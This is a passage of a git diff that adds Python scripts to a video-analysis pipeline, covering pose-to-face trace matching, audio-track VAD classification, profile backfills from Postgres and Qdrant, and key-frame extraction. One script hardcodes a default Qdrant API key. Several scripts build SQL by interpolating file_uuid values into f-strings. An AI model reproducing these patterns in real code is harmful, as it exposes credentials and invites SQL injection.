{fps}", file=sys.stderr) + # Extract fps from streams array (video stream) + for stream in probe_data.get("streams", []): + if stream.get("codec_type") == "video": + if "r_frame_rate" in stream: + fps_str = stream["r_frame_rate"] + # Parse "24000/1001" format + if "/" in fps_str: + num, den = fps_str.split("/") + if float(den) > 0: + fps = float(num) / float(den) + print(f"[ASRX] FPS from probe: {fps} (from r_frame_rate: {fps_str})", file=sys.stderr) + else: + fps = float(fps_str) + print(f"[ASRX] FPS from probe: {fps}", file=sys.stderr) + break break - except: - pass + except Exception as e: + print(f"[ASRX] Failed to read probe: {e}", file=sys.stderr) output_result = { "language": None, "segments": [], diff --git a/scripts/assign_pose_trace.py b/scripts/assign_pose_trace.py new file mode 100644 index 0000000..e6a1cc3 --- /dev/null +++ b/scripts/assign_pose_trace.py @@ -0,0 +1,235 @@ +#!/opt/homebrew/bin/python3.11 +""" +Assign trace_ids to poses by matching with face traces. +Uses bbox IoU matching to find corresponding face traces. + +Input: face_traced.json, pose.json +Output: pose_traced.json +""" + +import json +import os +import argparse +from typing import Dict, List, Optional, Any + + +def calculate_iou(bbox1: Dict, bbox2: Dict) -> float: + """Calculate Intersection over Union for two bboxes.""" + x1 = max(bbox1["x"], bbox2["x"]) + y1 = max(bbox1["y"], bbox2["y"]) + x2 = min(bbox1["x"] + bbox1["width"], bbox2["x"] + bbox2["width"]) + y2 = min(bbox1["y"] + bbox1["height"], bbox2["y"] + bbox2["height"]) + + if x2 <= x1 or y2 <= y1: + return 0.0 + + intersection = (x2 - x1) * (y2 - y1) + area1 = bbox1["width"] * bbox1["height"] + area2 = bbox2["width"] * bbox2["height"] + union = area1 + area2 - intersection + + return intersection / union if union > 0 else 0.0 + + +def is_face_center_in_pose(face_bbox: Dict, pose_bbox: Dict) -> bool: + """Check if face center is within pose bbox.""" + face_cx = face_bbox["x"] + face_bbox["width"] // 2 + face_cy = face_bbox["y"] + face_bbox["height"] // 2 + + return ( + pose_bbox["x"] <= face_cx <= pose_bbox["x"] + pose_bbox["width"] and + pose_bbox["y"] <= face_cy <= pose_bbox["y"] + pose_bbox["height"] + ) + + +def build_face_lookup(face_traced: Dict) -> Dict[int, List[Dict]]: + """Build frame -> faces lookup from face_traced.json.""" + lookup = {} + + for trace_id_str, trace in face_traced.get("traces", {}).items(): + trace_id = int(trace_id_str) + for face in trace.get("path", []): + frame = face["frame"] + if frame not in lookup: + lookup[frame] = [] + lookup[frame].append({ + "trace_id": trace_id, + "bbox": face["bbox"], + "confidence": face.get("confidence", 0.5) + }) + + return lookup + + +def find_closest_faces( + face_lookup: Dict[int, List[Dict]], + target_frame: int, + max_distance: int = 10 +) -> List[Dict]: + """ + Find faces at the closest frame to target_frame. + Search within max_distance frames. + """ + # Check exact frame first + if target_frame in face_lookup: + return face_lookup[target_frame] + + # Find closest frame + face_frames = sorted(face_lookup.keys()) + closest_frame = None + closest_distance = max_distance + 1 + + for frame in face_frames: + distance = abs(frame - target_frame) + if distance < closest_distance: + closest_distance = distance + closest_frame = frame + + if closest_frame is not None and closest_distance <= max_distance: + return face_lookup[closest_frame] + + return [] + + +def match_pose_to_traces( + pose_person: Dict, + faces_at_frame: List[Dict], + frame: int, + iou_threshold: float = 0.05 +) -> Dict: + """ + Match a pose person to face traces. + Uses two strategies: + 1. IoU matching (lower threshold for body vs face) + 2. Face center containment (face center within pose bbox) + """ + matched_traces = [] + + for face in faces_at_frame: + iou = calculate_iou(pose_person["bbox"], face["bbox"]) + + # Strategy 1: IoU matching (lower threshold) + if iou > iou_threshold: + matched_traces.append({ + "trace_id": face["trace_id"], + "iou": iou, + "method": "iou" + }) + # Strategy 2: Face center in pose bbox + elif is_face_center_in_pose(face["bbox"], pose_person["bbox"]): + matched_traces.append({ + "trace_id": face["trace_id"], + "iou": iou, + "method": "center_containment" + }) + + # Sort by IoU descending + matched_traces.sort(key=lambda x: x["iou"], reverse=True) + + # Assign trace_ids + trace_ids = [t["trace_id"] for t in matched_traces] + + # Generate pose_id using first trace_id + if trace_ids: + pose_id = f"pose_{trace_ids[0]}_{frame}" + else: + pose_id = f"pose_none_{frame}" + + # Update pose person + pose_person["pose_id"] = pose_id + pose_person["trace_ids"] = trace_ids + + return pose_person + + +def assign_pose_traces( + face_traced_path: str, + pose_path: str, + output_path: str, + iou_threshold: float = 0.3 +) -> Dict: + """ + Main function: assign trace_ids to poses. + """ + # Load face_traced.json + print(f"[PoseTrace] Loading face_traced.json: {face_traced_path}") + with open(face_traced_path) as f: + face_traced = json.load(f) + + # Load pose.json + print(f"[PoseTrace] Loading pose.json: {pose_path}") + with open(pose_path) as f: + pose_data = json.load(f) + + # Build face lookup + face_lookup = build_face_lookup(face_traced) + print(f"[PoseTrace] Built face lookup: {len(face_lookup)} frames with faces") + + # Process each frame + total_poses = 0 + matched_poses = 0 + + for frame_data in pose_data.get("frames", []): + frame = frame_data["frame"] + + # Find closest faces (within 10 frames) + faces_at_frame = find_closest_faces(face_lookup, frame, max_distance=10) + + for person in frame_data.get("persons", []): + total_poses += 1 + + # Match pose to traces + matched_person = match_pose_to_traces( + person, faces_at_frame, frame, iou_threshold + ) + + if matched_person.get("trace_ids"): + matched_poses += 1 + + print(f"[PoseTrace] Matched {matched_poses}/{total_poses} poses to traces") + + # Update metadata + pose_data["trace_matching"] = { + "total_poses": total_poses, + "matched_poses": matched_poses, + "iou_threshold": iou_threshold + } + + # Save pose_traced.json + print(f"[PoseTrace] Saving to: {output_path}") + with open(output_path, "w") as f: + json.dump(pose_data, f, indent=2, ensure_ascii=False) + + return pose_data + + +def main(): + parser = argparse.ArgumentParser(description="Assign trace_ids to poses") + parser.add_argument("--uuid", required=True, help="Video file UUID") + parser.add_argument("--iou-threshold", type=float, default=0.3, help="IoU threshold for matching") + parser.add_argument("--output-dir", help="Output directory (default: from env)") + args = parser.parse_args() + + output_dir = args.output_dir or os.environ.get("MOMENTRY_OUTPUT_DIR", "/Users/accusys/momentry/output") + + face_traced_path = os.path.join(output_dir, f"{args.uuid}.face_traced.json") + pose_path = os.path.join(output_dir, f"{args.uuid}.pose.json") + output_path = os.path.join(output_dir, f"{args.uuid}.pose_traced.json") + + # Check input files exist + if not os.path.exists(face_traced_path): + print(f"[PoseTrace] Error: face_traced.json not found: {face_traced_path}") + return 1 + + if not os.path.exists(pose_path): + print(f"[PoseTrace] Error: pose.json not found: {pose_path}") + return 1 + + # Run matching + assign_pose_traces(face_traced_path, pose_path, output_path, args.iou_threshold) + + return 0 + + +if __name__ == "__main__": + exit(main()) \ No newline at end of file diff --git a/scripts/audio_track_probe.py b/scripts/audio_track_probe.py new file mode 100755 index 0000000..5833edc --- /dev/null +++ b/scripts/audio_track_probe.py @@ -0,0 +1,302 @@ +#!/opt/homebrew/bin/python3.11 +""" +Audio Track Probe - Audio track detection and VAD classification + +Used during S0 Register phase to classify audio tracks: +- no_audio: No audio track +- silent_audio: Audio track but no speech detected +- music_only: Audio with no speech (music/sound effects) +- speech_only: Audio with speech only +- speech_with_music: Audio with speech and background music + +Usage: + python audio_track_probe.py --file /path/to/video.mp4 + python audio_track_probe.py --file /path/to/video.mp4 --json + +Output (text): + music_only + +Output (JSON): + {"classification": "music_only", "speech_ratio": 0.0, "speech_segments": 0, "duration": 93.3} +""" + +import argparse +import json +import subprocess +import sys +import tempfile +from pathlib import Path + +try: + import torch + import numpy as np + from scipy.io import wavfile + HAS_TORCH = True +except ImportError: + HAS_TORCH = False + + +def get_audio_tracks(file_path: str) -> list[dict]: + """ + Get audio track information using ffprobe. + + Returns: + List of audio track dicts with: index, codec, channels, language, title + """ + cmd = [ + "ffprobe", "-v", "quiet", + "-print_format", "json", + "-show_streams", + "-select_streams", "a", + file_path + ] + + result = subprocess.run(cmd, capture_output=True, text=True) + if result.returncode != 0: + return [] + + data = json.loads(result.stdout) + streams = data.get("streams", []) + + tracks = [] + for s in streams: + track = { + "index": s.get("index", 0), + "codec": s.get("codec_name", "unknown"), + "channels": s.get("channels", 2), + "language": s.get("tags", {}).get("language", ""), + "title": s.get("tags", {}).get("title", ""), + } + tracks.append(track) + + return tracks + + +def select_best_track(tracks: list[dict]) -> int | None: + """ + Select the best audio track for VAD analysis. + + Priority (原聲優先): + 1. Language = original/und/unknown (assumed original) + 2. Language matches common original track codes + 3. Most channels + 4. First track + + Returns: + Stream index of best track, or None if no tracks + """ + if not tracks: + return None + + # Priority 1: original/und/unknown language + for t in tracks: + lang = t.get("language", "").lower() + if lang in ("", "und", "original", "unknown"): + return t["index"] + + # Priority 2: common original track languages + original_langs = ("zho", "chi", "jpn", "jap", "kor", "tha", "vie") + for t in tracks: + lang = t.get("language", "").lower() + if lang in original_langs: + return t["index"] + + # Priority 3: Most channels + tracks_sorted = sorted(tracks, key=lambda x: x.get("channels", 0), reverse=True) + return tracks_sorted[0]["index"] + + +def extract_audio_for_vad(file_path: str, stream_index: int | None = None) -> str | None: + """ + Extract audio to temp WAV file for VAD analysis. + + Returns: + Path to temp WAV file, or None if extraction failed + """ + with tempfile.NamedTemporaryFile(suffix=".wav", delete=False) as f: + output_path = f.name + + cmd = ["ffmpeg", "-y", "-v", "quiet"] + + if stream_index is not None: + cmd.extend(["-stream_loop", "1", "-i", file_path, "-map", f"0:{stream_index}"]) + else: + cmd.extend(["-i", file_path]) + + cmd.extend([ + "-vn", "-ac", "1", "-ar", "16000", + "-acodec", "pcm_s16le", + output_path + ]) + + result = subprocess.run(cmd, capture_output=True) + if result.returncode != 0: + return None + + return output_path + + +def run_vad_classification(audio_path: str) -> tuple[str, float, int]: + """ + Run Silero VAD to classify audio. + + Returns: + (classification, speech_ratio, speech_segments_count) + classification: one of "music_only", "speech_only", "speech_with_music" + """ + if not HAS_TORCH: + return ("speech_only", 0.5, 0) # Default fallback + + try: + # Read WAV file using scipy (avoids torchaudio dependency issues) + sample_rate, wav_data = wavfile.read(audio_path) + + # Convert to float32 and normalize + if wav_data.dtype == np.int16: + wav = torch.from_numpy(wav_data.astype(np.float32) / 32768.0) + elif wav_data.dtype == np.int32: + wav = torch.from_numpy(wav_data.astype(np.float32) / 2147483648.0) + elif wav_data.dtype == np.float32: + wav = torch.from_numpy(wav_data) + else: + wav = torch.from_numpy(wav_data.astype(np.float32)) + + # Ensure mono + if len(wav.shape) > 1: + wav = wav[:, 0] + + # Resample to 16kHz if needed + if sample_rate != 16000: + import torchaudio + resampler = torchaudio.transforms.Resample(sample_rate, 16000) + wav = resampler(wav) + sample_rate = 16000 + + # Load VAD model + model, utils = torch.hub.load( + repo_or_dir="snakers4/silero-vad", + model="silero_vad", + force_reload=False, + trust_repo=True, + ) + model.eval() + + get_speech_timestamps = utils[0] + + speech_timestamps = get_speech_timestamps( + wav, model, + sampling_rate=16000, + min_speech_duration_ms=500, + min_silence_duration_ms=300, + return_seconds=True, + ) + + total_duration = len(wav) / 16000.0 + speech_duration = sum(ts["end"] - ts["start"] for ts in speech_timestamps) + speech_ratio = speech_duration / total_duration if total_duration > 0 else 0.0 + + # Classification logic: + # - speech_ratio < 0.01: music_only (no speech detected) + # - speech_ratio >= 0.01 and speech_ratio < 0.3: speech_with_music (sparse speech) + # - speech_ratio >= 0.3: speech_only (mostly speech) + + if speech_ratio < 0.01: + classification = "music_only" + elif speech_ratio < 0.3: + classification = "speech_with_music" + else: + classification = "speech_only" + + return (classification, speech_ratio, len(speech_timestamps)) + + except Exception as e: + print(f"VAD error: {e}", file=sys.stderr) + return ("speech_only", 0.5, 0) + + +def probe_audio_track(file_path: str) -> dict: + """ + Main function: probe audio track and classify. + + Returns: + dict with: classification, speech_ratio, speech_segments, duration, + track_index, track_language, all_tracks + """ + # Get audio tracks + tracks = get_audio_tracks(file_path) + + if not tracks: + return { + "classification": "no_audio", + "speech_ratio": 0.0, + "speech_segments": 0, + "duration": 0.0, + "track_index": None, + "track_language": None, + "all_tracks": [], + } + + # Select best track + best_index = select_best_track(tracks) + best_track = next((t for t in tracks if t["index"] == best_index), tracks[0]) + + # Extract audio for VAD + audio_path = extract_audio_for_vad(file_path, best_index) + + if audio_path is None: + return { + "classification": "silent_audio", + "speech_ratio": 0.0, + "speech_segments": 0, + "duration": 0.0, + "track_index": best_index, + "track_language": best_track.get("language", ""), + "all_tracks": tracks, + } + + # Get duration + probe_cmd = [ + "ffprobe", "-v", "quiet", + "-print_format", "json", + "-show_format", + audio_path + ] + probe_result = subprocess.run(probe_cmd, capture_output=True, text=True) + duration = 0.0 + if probe_result.returncode == 0: + probe_data = json.loads(probe_result.stdout) + duration = float(probe_data.get("format", {}).get("duration", 0)) + + # Run VAD + classification, speech_ratio, speech_segments = run_vad_classification(audio_path) + + # Cleanup temp file + Path(audio_path).unlink(missing_ok=True) + + return { + "classification": classification, + "speech_ratio": round(speech_ratio, 4), + "speech_segments": speech_segments, + "duration": round(duration, 2), + "track_index": best_index, + "track_language": best_track.get("language", ""), + "all_tracks": tracks, + } + + +def main(): + parser = argparse.ArgumentParser(description="Audio track probe with VAD classification") + parser.add_argument("--file", "-f", required=True, help="Video file path") + parser.add_argument("--json", "-j", action="store_true", help="Output as JSON") + args = parser.parse_args() + + result = probe_audio_track(args.file) + + if args.json: + print(json.dumps(result, indent=2)) + else: + print(result["classification"]) + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/scripts/backfill_profiles.py b/scripts/backfill_profiles.py new file mode 100644 index 0000000..1f7ee98 --- /dev/null +++ b/scripts/backfill_profiles.py @@ -0,0 +1,149 @@ +#!/usr/bin/env python3 +"""One-time backfill: generate .profile.json for all registered files.""" + +import json +import os +import sys +import subprocess +from datetime import datetime, timezone + +OUTPUT_DIR = os.environ.get("MOMENTRY_OUTPUT_DIR", "/Users/accusys/momentry/output") +DB_URL = os.environ.get("DATABASE_URL", "postgres://accusys@localhost:5432/momentry") +PSQL = "/opt/homebrew/Cellar/libpq/18.4/bin/psql" + + +def query_db(sql): + result = subprocess.run( + [PSQL, "-U", "accusys", "-d", "momentry", "-t", "-A", "-c", sql], + capture_output=True, text=True + ) + if result.returncode != 0: + print(f"DB error: {result.stderr}", file=sys.stderr) + return [] + lines = result.stdout.strip().split("\n") + return [line for line in lines if line.strip()] + + +def extract_key_frame(video_path, duration, output_dir, file_uuid): + """Extract a representative frame using ffmpeg, save as JPG.""" + seek_time = duration * 0.1 if duration > 0 else 1.0 + out_path = os.path.join(output_dir, f"{file_uuid}.key_frame.jpg") + try: + result = subprocess.run( + [ + "ffmpeg", "-y", "-ss", f"{seek_time:.2f}", + "-i", video_path, + "-vframes", "1", + "-vf", "scale=640:-1", + "-q:v", "5", + out_path + ], + capture_output=True, timeout=30 + ) + if result.returncode == 0 and os.path.exists(out_path): + return f"{file_uuid}.key_frame.jpg" + except Exception as e: + print(f" key_frame extraction failed: {e}", file=sys.stderr) + return None + + +def main(): + print(f"Output dir: {OUTPUT_DIR}") + print(f"Looking for files without .profile.json...") + + # Get all registered files + rows = query_db( + "SELECT file_uuid, COALESCE(file_name, ''), COALESCE(file_path, ''), " + "COALESCE(file_type, 'unknown'), COALESCE(content_hash, ''), " + "COALESCE(duration, 0), COALESCE(width, 0), COALESCE(height, 0), " + "COALESCE(fps, 0), COALESCE(total_frames, 0) " + "FROM videos ORDER BY created_at" + ) + + created = 0 + skipped = 0 + for row in rows: + parts = row.split("|") + if len(parts) < 10: + continue + file_uuid, file_name, file_path, file_type, content_hash, \ + duration, width, height, fps, total_frames = parts[:10] + + # Compute total_frames from duration * fps if DB value is 0 + db_total_frames = int(total_frames) + duration_f = float(duration) + fps_f = float(fps) + if db_total_frames <= 0 and duration_f > 0 and fps_f > 0: + computed_frames = int(duration_f * fps_f) + db_total_frames = computed_frames + query_db( + f"UPDATE videos SET total_frames = {db_total_frames} WHERE file_uuid = '{file_uuid}'" + ) + + profile_path = os.path.join(OUTPUT_DIR, f"{file_uuid}.profile.json") + if os.path.exists(profile_path): + # Patch existing profiles with total_frames=0 + with open(profile_path) as pf: + existing = json.load(pf) + if existing.get("metadata", {}).get("total_frames") == 0 and duration_f > 0 and fps_f > 0: + existing["metadata"]["total_frames"] = db_total_frames + with open(profile_path, "w") as pf: + json.dump(existing, pf, indent=2, ensure_ascii=False) + print(f" [patched] {file_uuid}: total_frames 0 → {db_total_frames}") + skipped += 1 + continue + + now = datetime.now(timezone.utc).isoformat() + parent = os.path.dirname(file_path) if file_path else "" + + profile = { + "version": "1.0", + "file_uuid": file_uuid, + "file_name": file_name, + "file_type": file_type, + "birth": { + "mac_address": "", + "birthday": now, + "original_path": parent, + "original_filename": file_name, + "canonical_path": file_path, + "content_hash": content_hash if content_hash else None + }, + "current": { + "path": file_path, + "file_name": file_name, + "file_type": file_type + }, + "history": [{ + "action": "backfilled", + "timestamp": now, + "path": file_path, + "file_name": file_name + }], + "metadata": { + "duration": duration_f, + "width": int(width), + "height": int(height), + "fps": fps_f, + "total_frames": db_total_frames + } if duration_f > 0 or int(width) > 0 else None, + "key_frame": None # will be filled below + } + + # Extract key_frame for video files that exist on disk + if file_type == "video" and file_path and os.path.exists(file_path): + print(f" Extracting key_frame for {file_name}...") + kf = extract_key_frame(file_path, float(duration), OUTPUT_DIR, file_uuid) + if kf: + profile["key_frame"] = kf + + with open(profile_path, "w") as f: + json.dump(profile, f, indent=2, ensure_ascii=False) + created += 1 + print(f" Created: {file_uuid}.profile.json ({file_name or 'ZOMBIE'})") + + print(f"\nDone: {created} created, {skipped} skipped (already exist)") + + +if __name__ == "__main__": + main() diff --git a/scripts/backfill_trace_profiles.py b/scripts/backfill_trace_profiles.py new file mode 100644 index 0000000..804330a --- /dev/null +++ b/scripts/backfill_trace_profiles.py @@ -0,0 +1,259 @@ +#!/usr/bin/env python3 +""" +Backfill trace profiles from Qdrant _faces collection. + +For each (file_uuid, trace_id) group in Qdrant: +1. Compute frame_count, start_frame, end_frame, avg_confidence +2. Pick representative frame (highest confidence) +3. Extract key_frame.jpg from video via ffmpeg +4. Crop key_face.jpg from key_frame using representative bbox +5. Write output/{file_uuid}/trace_{N}/trace_profile.json + +Usage: + python3 backfill_trace_profiles.py [--file-uuid UUID] [--dry-run] +""" + +import argparse +import json +import os +import subprocess +import sys +import urllib.request +import urllib.error +from collections import defaultdict + +OUTPUT_DIR = os.environ.get("MOMENTRY_OUTPUT_DIR", "/Users/accusys/momentry/output") +QDRANT_URL = os.environ.get("QDRANT_URL", "http://localhost:6333") +QDRANT_API_KEY = os.environ.get("QDRANT_API_KEY", "Test3200Test3200Test3200") +FACES_COLLECTION = "_faces" +BATCH_SIZE = 1000 + + +def qdrant_scroll(filter_dict, limit=BATCH_SIZE, offset=None, with_payload=None): + """Scroll Qdrant collection with filter.""" + body = {"limit": limit, "filter": filter_dict, "with_vector": False} + if offset: + body["offset"] = offset + if with_payload: + body["with_payload"] = with_payload + + url = f"{QDRANT_URL}/collections/{FACES_COLLECTION}/points/scroll" + data = json.dumps(body).encode() + req = urllib.request.Request(url, data=data, method="POST") + req.add_header("Content-Type", "application/json") + req.add_header("Api-Key", QDRANT_API_KEY) + + with urllib.request.urlopen(req) as resp: + return json.loads(resp.read()) + + +def scroll_all(filter_dict, with_payload=None): + """Scroll all matching points.""" + all_points = [] + offset = None + while True: + result = qdrant_scroll(filter_dict, offset=offset, with_payload=with_payload) + points = result.get("result", {}).get("points", []) + if not points: + break + all_points.extend(points) + offset = result.get("result", {}).get("next_page_offset") + if not offset or len(points) < BATCH_SIZE: + break + return all_points + + +def get_video_path(file_uuid): + """Get video file path from database.""" + psql = "/opt/homebrew/Cellar/libpq/18.4/bin/psql" + result = subprocess.run( + [psql, "-U", "accusys", "-d", "momentry", "-t", "-A", "-c", + f"SELECT file_path FROM videos WHERE file_uuid = '{file_uuid}'"], + capture_output=True, text=True + ) + if result.returncode == 0 and result.stdout.strip(): + return result.stdout.strip() + return None + + +def extract_key_frame(video_path, frame_num, fps, output_path): + """Extract a specific frame from video using ffmpeg.""" + if fps <= 0: + return False + timestamp = frame_num / fps + try: + result = subprocess.run( + ["ffmpeg", "-y", "-ss", f"{timestamp:.3f}", + "-i", video_path, + "-vframes", "1", "-vf", "scale=640:-1", "-q:v", "5", + output_path], + capture_output=True, timeout=30 + ) + return result.returncode == 0 and os.path.exists(output_path) + except Exception as e: + print(f" key_frame extraction failed: {e}", file=sys.stderr) + return False + + +def crop_key_face(key_frame_path, bbox, output_path): + """Crop key_face from key_frame using bbox.""" + x, y, w, h = bbox["x"], bbox["y"], bbox["width"], bbox["height"] + if w <= 0 or h <= 0: + return False + try: + result = subprocess.run( + ["ffmpeg", "-y", "-i", key_frame_path, + "-vf", f"crop={w}:{h}:{x}:{y}", + "-q:v", "2", output_path], + capture_output=True, timeout=10 + ) + return result.returncode == 0 and os.path.exists(output_path) + except Exception as e: + print(f" key_face crop failed: {e}", file=sys.stderr) + return False + + +def build_trace_profiles(file_uuid=None, dry_run=False): + """Build trace profiles from Qdrant _faces data.""" + # Get all unique file_uuids with trace_id >= 0 + if file_uuid: + file_uuids = [file_uuid] + else: + print("Scanning Qdrant for all file_uuids with trace_id >= 0...") + points = scroll_all( + {"must": [{"key": "trace_id", "range": {"gte": 0}}]}, + with_payload={"include": ["file_uuid"]} + ) + file_uuids = sorted(set(p["payload"]["file_uuid"] for p in points)) + print(f"Found {len(file_uuids)} files with trace data") + + total_profiles = 0 + for fid in file_uuids: + print(f"\n--- {fid} ---") + + # Scroll all points for this file with trace_id >= 0 + points = scroll_all( + { + "must": [ + {"key": "file_uuid", "match": {"value": fid}}, + {"key": "trace_id", "range": {"gte": 0}}, + ] + }, + with_payload={"include": ["frame", "trace_id", "bbox", "confidence"]} + ) + + if not points: + print(" No points with trace_id >= 0") + continue + + # Group by trace_id + traces = defaultdict(list) + for p in points: + pl = p["payload"] + tid = pl.get("trace_id", 0) + traces[tid].append({ + "frame": pl["frame"], + "bbox": pl.get("bbox", {}), + "confidence": pl.get("confidence", 0.0), + }) + + print(f" {len(points)} points, {len(traces)} traces") + + # Get video path + video_path = get_video_path(fid) + if not video_path or not os.path.exists(video_path): + print(f" Video not found, skipping key_frame extraction") + video_path = None + + # Get FPS from DB + fps = 30.0 + if video_path: + psql = "/opt/homebrew/Cellar/libpq/18.4/bin/psql" + result = subprocess.run( + [psql, "-U", "accusys", "-d", "momentry", "-t", "-A", "-c", + f"SELECT COALESCE(fps, 30.0) FROM videos WHERE file_uuid = '{fid}'"], + capture_output=True, text=True + ) + if result.returncode == 0 and result.stdout.strip(): + try: + fps = float(result.stdout.strip()) + except ValueError: + pass + + for tid, faces in sorted(traces.items()): + if tid < 0: + continue + + frames = [f["frame"] for f in faces] + confidences = [f["confidence"] for f in faces] + frame_count = len(faces) + start_frame = min(frames) + end_frame = max(frames) + avg_confidence = sum(confidences) / frame_count if frame_count > 0 else 0.0 + + # Representative frame: highest confidence + best = max(faces, key=lambda f: f["confidence"]) + best_frame = best["frame"] + best_bbox = best["bbox"] + + trace_dir = os.path.join(OUTPUT_DIR, fid, f"trace_{tid}") + profile_path = os.path.join(trace_dir, "trace_profile.json") + kf_path = os.path.join(trace_dir, "key_frame.jpg") + face_path = os.path.join(trace_dir, "key_face.jpg") + + profile = { + "version": "1.0", + "file_uuid": fid, + "trace_id": tid, + "label": "", + "frame_count": frame_count, + "start_frame": start_frame, + "end_frame": end_frame, + "avg_confidence": round(avg_confidence, 6), + "key_frame": "key_frame.jpg" if os.path.exists(kf_path) else None, + "key_face": "key_face.jpg" if os.path.exists(face_path) else None, + "status": "pending", + } + + if dry_run: + print(f" trace_{tid}: {frame_count} frames [{start_frame}-{end_frame}] " + f"conf={avg_confidence:.3f} best_frame={best_frame}") + continue + + os.makedirs(trace_dir, exist_ok=True) + + # Extract key_frame.jpg if not exists + if not os.path.exists(kf_path) and video_path: + extract_key_frame(video_path, best_frame, fps, kf_path) + if os.path.exists(kf_path): + profile["key_frame"] = "key_frame.jpg" + + # Crop key_face.jpg from key_frame if not exists + if not os.path.exists(face_path) and os.path.exists(kf_path) and best_bbox: + crop_key_face(kf_path, best_bbox, face_path) + if os.path.exists(face_path): + profile["key_face"] = "key_face.jpg" + + # Write trace_profile.json + with open(profile_path, "w") as f: + json.dump(profile, f, indent=2, ensure_ascii=False) + + total_profiles += 1 + + if not dry_run: + print(f" Created {len([t for t in traces if t >= 0])} trace profiles") + + print(f"\nDone: {total_profiles} trace profiles created") + + +def main(): + parser = argparse.ArgumentParser(description="Backfill trace profiles from Qdrant") + parser.add_argument("--file-uuid", help="Process only this file UUID") + parser.add_argument("--dry-run", action="store_true", help="Show what would be created") + args = parser.parse_args() + + build_trace_profiles(file_uuid=args.file_uuid, dry_run=args.dry_run) + + +if __name__ == "__main__": + main() diff --git a/scripts/compare_pose_detections.py b/scripts/compare_pose_detections.py new file mode 100644 index 0000000..9768cad --- /dev/null +++ b/scripts/compare_pose_detections.py @@ -0,0 +1,148 @@ +#!/opt/homebrew/bin/python3.11 +""" +Compare Apple Vision pose vs MediaPipe pose + +Finds: +- Intersection: Poses detected by both +- Apple Vision only: Poses only in Apple Vision +- MediaPipe only: Poses only in MediaPipe + +Usage: + python3 scripts/compare_pose_detections.py --file-uuid +""" + +import argparse +import json +from pathlib import Path + + +def load_apple_vision_poses(file_uuid, output_dir): + """Load Apple Vision pose data from pose.json""" + pose_path = Path(output_dir) / f"{file_uuid}.pose.json" + + if not pose_path.exists(): + return {} + + with open(pose_path) as f: + data = json.load(f) + + poses = {} + for frame in data.get('frames', []): + frame_num = frame.get('frame', frame.get('frame_number', 0)) + for i, person in enumerate(frame.get('persons', [])): + pose_key = f"frame_{frame_num}_person_{i}" + poses[pose_key] = { + 'frame': frame_num, + 'person_idx': i, + 'keypoints': person.get('keypoints', []), + 'source': 'apple_vision' + } + + return poses + + +def load_mediapipe_poses(file_uuid, output_dir): + """Load MediaPipe pose data from pose.mediapipe.json""" + pose_path = Path(output_dir) / f"{file_uuid}.pose.mediapipe.json" + + if not pose_path.exists(): + return {} + + with open(pose_path) as f: + data = json.load(f) + + poses = {} + for frame in data.get('frames', []): + frame_num = frame.get('frame', 0) + for i, person in enumerate(frame.get('persons', [])): + pose_key = f"frame_{frame_num}_person_{i}" + poses[pose_key] = { + 'frame': frame_num, + 'person_idx': i, + 'keypoints': person.get('keypoints', []), + 'source': 'mediapipe' + } + + return poses + + +def compare_poses(file_uuid, output_dir): + """Compare Apple Vision vs MediaPipe poses.""" + + print(f"[compare] Loading pose data for {file_uuid}...") + + av_poses = load_apple_vision_poses(file_uuid, output_dir) + mp_poses = load_mediapipe_poses(file_uuid, output_dir) + + print(f"[compare] Apple Vision poses: {len(av_poses)}") + print(f"[compare] MediaPipe poses: {len(mp_poses)}") + + # Find intersection and differences + av_keys = set(av_poses.keys()) + mp_keys = set(mp_poses.keys()) + + intersection = av_keys & mp_keys + av_only = av_keys - mp_keys + mp_only = mp_keys - av_keys + + print(f"\n[compare] === COMPARISON ===") + print(f"[compare] Intersection (both detected): {len(intersection)}") + print(f"[compare] Apple Vision only: {len(av_only)}") + print(f"[compare] MediaPipe only: {len(mp_only)}") + + # Analyze intersection - check alignment + intersection_aligned = 0 + for key in intersection: + av_pose = av_poses[key] + mp_pose = mp_poses[key] + + # Check if both have face keypoints + av_face_kps = [kp for kp in av_pose.get('keypoints', []) if kp.get('name') in ['nose', 'left_eye', 'right_eye']] + mp_face_kps = [kp for kp in mp_pose.get('keypoints', []) if kp.get('name') in ['nose', 'left_eye', 'right_eye']] + + if av_face_kps and mp_face_kps: + intersection_aligned += 1 + + print(f"\n[compare] Intersection with face keypoints: {intersection_aligned}") + + # Frame coverage + av_frames = set(av_poses[k]['frame'] for k in av_keys) + mp_frames = set(mp_poses[k]['frame'] for k in mp_keys) + + print(f"\n[compare] === FRAME COVERAGE ===") + print(f"[compare] Apple Vision frames: {len(av_frames)}") + print(f"[compare] MediaPipe frames: {len(mp_frames)}") + print(f"[compare] Overlapping frames: {len(av_frames & mp_frames)}") + + # Save results + output_path = Path(output_dir) / f"{file_uuid}.pose_comparison.json" + with open(output_path, 'w') as f: + json.dump({ + 'apple_vision_count': len(av_poses), + 'mediapipe_count': len(mp_poses), + 'intersection_count': len(intersection), + 'apple_vision_only_count': len(av_only), + 'mediapipe_only_count': len(mp_only), + 'intersection_aligned_count': intersection_aligned, + 'apple_vision_frames': len(av_frames), + 'mediapipe_frames': len(mp_frames), + 'overlapping_frames': len(av_frames & mp_frames), + 'intersection_keys': sorted(list(intersection))[:100], # Sample + 'apple_vision_only_keys': sorted(list(av_only))[:100], + 'mediapipe_only_keys': sorted(list(mp_only))[:100], + }, f, indent=2) + + print(f"\n[compare] Results saved to: {output_path}") + + +def main(): + parser = argparse.ArgumentParser(description="Compare pose detections") + parser.add_argument("--file-uuid", "-u", required=True, help="File UUID") + parser.add_argument("--output-dir", "-o", default="/Users/accusys/momentry/output", help="Output directory") + args = parser.parse_args() + + compare_poses(args.file_uuid, args.output_dir) + + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/scripts/cut_key_frame.py b/scripts/cut_key_frame.py new file mode 100644 index 0000000..c1111c1 --- /dev/null +++ b/scripts/cut_key_frame.py @@ -0,0 +1,146 @@ +#!/opt/homebrew/bin/python3.11 +""" +Cut Key Frame Extraction - Extract representative frames from each scene for VLM analysis + +For each scene in cut.json, extracts the middle frame as a key frame. +Output: {uuid}_scene_{n}.jpg files in output directory + +Usage: + python cut_key_frame.py --file-uuid abc123 --video /path/to/video.mp4 --cut-json /path/to/cut.json + python cut_key_frame.py --file-uuid abc123 --video /path/to/video.mp4 --cut-json /path/to/cut.json --output-dir /custom/output + +Output: + {output_dir}/{uuid}_scene_1.jpg + {output_dir}/{uuid}_scene_2.jpg + ... +""" + +import argparse +import json +import subprocess +import sys +from pathlib import Path + + +def extract_frame(video_path: str, frame_number: int, 